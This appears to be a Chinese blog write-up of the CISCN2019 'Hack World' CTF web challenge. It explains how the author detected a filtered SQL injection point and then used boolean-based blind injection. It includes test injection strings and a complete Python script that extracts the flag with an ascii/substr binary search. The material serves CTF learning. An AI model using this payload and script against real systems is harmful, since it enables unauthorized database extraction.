Title

[CISCN2019 华北赛区 Day2 Web1]Hack World-1|SQL注入|bool注入

因为之前写过另一道bool注入题,因此这里写的就不是很详细,详细的步骤可以参考:https://www.cnblogs.com/upfine/p/16367693.htm,这道题同样在这个平台。

1、打开界面查看源代码未发现有用的信息,初始界面如下:

2、尝试输入1、2、3、4、' or 1=1#、and、or、' updatexml#等字符,结果如下:

3、对注入进行了检测,输入的1,2,3、4获取的返回信息无法展示有效信息,进行注入时(' updatexml#)会被检测到注入,因此这里就没法常规的语句进行注入,加上输入字符时的boo提示,那这里就得考虑布尔注入了,这一题相对来说较为简单,直接给出了数据库名和列明,那就直接通过脚本获取flag值就好了,这里(https://www.cnblogs.com/upfine/p/16367693.html,也在这个平台上)有一道之前做过的较为复杂一点的bool注入题,完整的说明了bool注入的手工过程和编写的脚本,因此这里就不使用手工一步步实现,直接通过脚本实现,成功获取到flag值,结果如下:

脚本信息如下:

import requests
import time

url='http://e489a1b6-9d7c-48a7-b79e-96e961de7195.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        n = (int)((max+min)/2)
        payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(n)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(0.005)
        if 'Hello' in str(r.content):
            min=n
        else:
            max=n
        if((max-min)<=1):
            flag+=chr(max)
            print("\r", end="")
            print(flag,end='')
            break

 

posted @ 2022-07-28 17:20  upfine  阅读(577)  评论(0编辑  收藏  举报